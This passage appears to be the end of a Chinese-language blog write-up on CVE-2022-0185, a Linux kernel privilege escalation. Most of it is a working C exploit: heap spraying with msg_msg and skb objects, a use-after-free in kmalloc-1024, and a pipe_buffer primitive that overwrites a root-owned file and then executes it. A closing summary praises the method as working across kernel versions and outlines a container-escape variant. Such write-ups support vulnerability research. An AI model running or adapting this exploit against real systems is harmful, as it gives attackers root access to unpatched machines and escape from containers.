          uaf_msqid = msqid_2[((int *)&p->mtext)[1]];
          loginfo("corrupted_msqid = %d", corrupted_msqid);
          loginfo("uaf_msqid = %d", uaf_msqid);

          kmalloc_1024 = p->m_list.next;

          // call clean_msg_2 without crash
          if ((msqid_2[((int *)&p->mtext)[1]] =
                   msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
            die("msgget() error");

          break;
        }

        p++;
      }

      break;
    }
  }

  clean_msg_1();
  clean_msg_2();

  if (uaf_msqid < 0)
    return 0;

  loginfo("kmalloc_1024 = %#lx", kmalloc_1024);

  return 1;
}

void fake_msg_msg_at_kmalloc_1024()
{
  logdebug("--- fake_msg_msg_at_kmalloc_1024 ---");

  logdebug("free kmalloc-1024");
  if (msgrcv(uaf_msqid, msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2, 0) < 0)
    die("msgrcv() error");

  logdebug("spraying skb...");
  memset(skb, 0, sizeof(skb));
  struct msg_msg *msg = (struct msg_msg *)skb;
  msg->m_list.next = kmalloc_1024 + 0x200; // no matter
  msg->m_list.prev = kmalloc_1024 + 0x300; // no matter
  msg->m_type = MTYPE_FAKE;
  msg->m_ts = 0x100;
  msg->security = 0;

  msg++;
  msg->m_list.next = kmalloc_1024;
  msg->m_list.prev = kmalloc_1024 + 0x400; // no matter
  msg->m_type = MTYPE_A;
  msg->m_ts = 0x233;
  msg->security = 0;

  spray_skbuff_data(skb, sizeof(skb)); 
}

int create_uaf(int fsid)
{
  char buff[0x100];
  int target_idx = -1;

  logdebug("--- create_uaf ---");

  prepare_overflow(fsid);

  logdebug("spraying messasge queue 1...");
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    msg_a->mtype = MTYPE_A;
    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
    ((int *)&msg_a->mtext)[0] = MSG_TAG;
    ((int *)&msg_a->mtext)[1] = i;
    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
      die("msgsnd() error");
  }

  logdebug("trigger oob write in `legacy_parse_param` to corrupt messageA's "
           "msg_msg.m_ts");
  memset(buff, 0, sizeof(buff));
  struct msg_msg *msg = (struct msg_msg *)buff;
  msg->m_list.next = kmalloc_1024 + sizeof(struct msg_msg);
  msg->m_list.prev = 0xdeadbeefdeadbeef;
  msg->m_type = MTYPE_A; // append '=\x00'
  fsconfig(fsid, FSCONFIG_SET_STRING, buff, "\x00", 0);

  logdebug("searching corrupted msg_msg for freeing fake msg_msg...");
  fake_msqid = -1;
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    size_t n = msgrcv(msqid_1[i], msg_a, 0x100, 2, MSG_COPY | IPC_NOWAIT);
    if (n < 0)
      continue;

    if (n == 0x100 && msg_a->mtype == MTYPE_FAKE)
    {
      fake_msqid = msqid_1[i];
      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
        die("msgget() error");

      loginfo("fake_msqid = %d", fake_msqid);
      break;
    }
  }

  if (fake_msqid < 0)
  {
    clean_msg_1();
    return 0;
  }

  clean_msg_1();

  return 1;
}

void pipe_primitive()
{
  char buff[0x400];

  logdebug("open target file %s", ATTACK_FILE);
  if ((tfd = open(ATTACK_FILE, O_RDONLY)) < 0)
    die("failed to open target file");

  logdebug("freeing fake msg_msg...");
  if (msgrcv(fake_msqid, msg_a, 0x100, MTYPE_FAKE, 0) < 0)
    die("msgrcv() error");

  logdebug("spraying pipe_buffer...");
  for (int i = 0; i < NUM_PIPEFDS; i++)
  {
    if (pipe(pipe_fd[i]))
    {
      die("Alloc pipe failed");
    }

    write(pipe_fd[i][1], buff, 0x100 + i);

    loff_t offset = 1;
    ssize_t nbytes = splice(tfd, &offset, pipe_fd[i][1], NULL, 1, 0);
    if (nbytes < 0)
    {
      die("splice() failed");
    }
  }

  logdebug("free skbuff_data to make pipe_buffer become UAF");
  int uaf_pipe_idx = -1;
  char backup_skb[sizeof(skb)];
  int PIPE_BUF_FLAG_CAN_MERGE = 0x10;

  memset(skb, 0, sizeof(skb));
  for (int i = 0; i < NUM_SOCKETS; i++)
  {
    for (int j = 0; j < NUM_SKBUFFS; j++)
    {
      if (read(sock_pairs[i][1], skb, sizeof(skb)) < 0)
      {
        die("read from sock pairs failed");
      }

      struct pipe_buffer *pb = (struct pipe_buffer *)skb;
      if (pb->len >= 0x100 && pb->len < 0x100 + NUM_PIPEFDS)
      {
        uaf_pipe_idx = pb->len - 0x100;
        loginfo("uaf_pipe_idx = %d", uaf_pipe_idx);
        memcpy(backup_skb, skb, sizeof(skb));
      }
    }
  }

  if (uaf_pipe_idx < 0)
    die("uaf_pipe_idx not found");

  logdebug("edit pipe_buffer->flags");
  struct pipe_buffer *pb = (struct pipe_buffer *)backup_skb;
  pb[1].len = 0;
  pb[1].offset = 0;
  pb[1].flags = PIPE_BUF_FLAG_CAN_MERGE;
  pb[1].ops = pb[0].ops;
  spray_skbuff_data(backup_skb, sizeof(backup_skb));

  logdebug("try to overwrite %s, by pipe fd %d", ATTACK_FILE,
           pipe_fd[uaf_pipe_idx][1]);
  if (write(pipe_fd[uaf_pipe_idx][1], attack_data, sizeof(attack_data)) !=
      sizeof(attack_data))
    die("write");

  logdebug("see if %s changed", ATTACK_FILE);
  close(tfd);
  tfd = open(ATTACK_FILE, O_RDONLY);
  if (tfd < 0)
  {
    die("open attack file");
  }
  char tmp_buffer[0x10];
  read(tfd, tmp_buffer, 0x10);
  uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);
  if (ptr[0] != 0x56565656)
  {
    die("overwrite attack file failed: 0x%08x", ptr[0]);
  }
}

int main(int argc, char const *argv[])
{
  int fsid;
  int pid;

  if (pipe(notify_pipe) < 0)
    die("pipe() error");

  if ((pid = fork()) == 0)
  {
    init_unshare();
    bind_cpu();
    init_sock();
    init_msg();

    fsid = call_fsopen();
    while (!do_leak_heap(fsid))
    {
      close(fsid);
      fsid = call_fsopen();

      logdebug("retry do_leak_heap()");
    }

    fake_msg_msg_at_kmalloc_1024();

    close(fsid);
    fsid = call_fsopen();
    while (!create_uaf(fsid))
    {
      close(fsid);
      fsid = call_fsopen();

      logdebug("retry create_uaf()");
    }

    pipe_primitive();

    loginfo("exploit success!");
    write(notify_pipe[1], "Y", 1);

    pause();
  }
  else if (pid > 0)
  {
    char sync;
    read(notify_pipe[0], &sync, 1);
    if (sync == 'Y')
      execl(ATTACK_FILE, ATTACK_FILE, NULL);
  }
  else
  {
    die("fork() error");
  }

  return 0;
}

总结

经过 CVE-2021-22555 和本文的 CVE-2022-0185,对于这种能转化为 kmalloc-1024 的 UAF 的漏洞,本地提权的利用方式都很简单,只要 skb 修改 pipe_buffer 做 pipe primitive 就好了,而且 pipe primitive 不用 bypass kaslr,几乎一个 exp 就能通杀含有漏洞的 linux 各个版本,非常好用

但是对于 google kctf 或者其他容器环境下,利用漏洞逃逸容器就不能用这种方式了,需要用 skb 劫持 pipe_buffer ops 进行 ROP 提权后执行 switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) 来获得 root namespace 的 root 权限

参考

[1] https://www.willsroot.io/2022/01/cve-2022-0185.html

[2] https://www.hackthebox.com/blog/CVE-2022-0185:_A_case_study

[3] https://github.com/veritas501/pipe-primitive

[4] https://github.com/veritas501/CVE-2022-0185-PipeVersion

[5] https://bsauce.github.io/2022/04/08/CVE-2022-0185/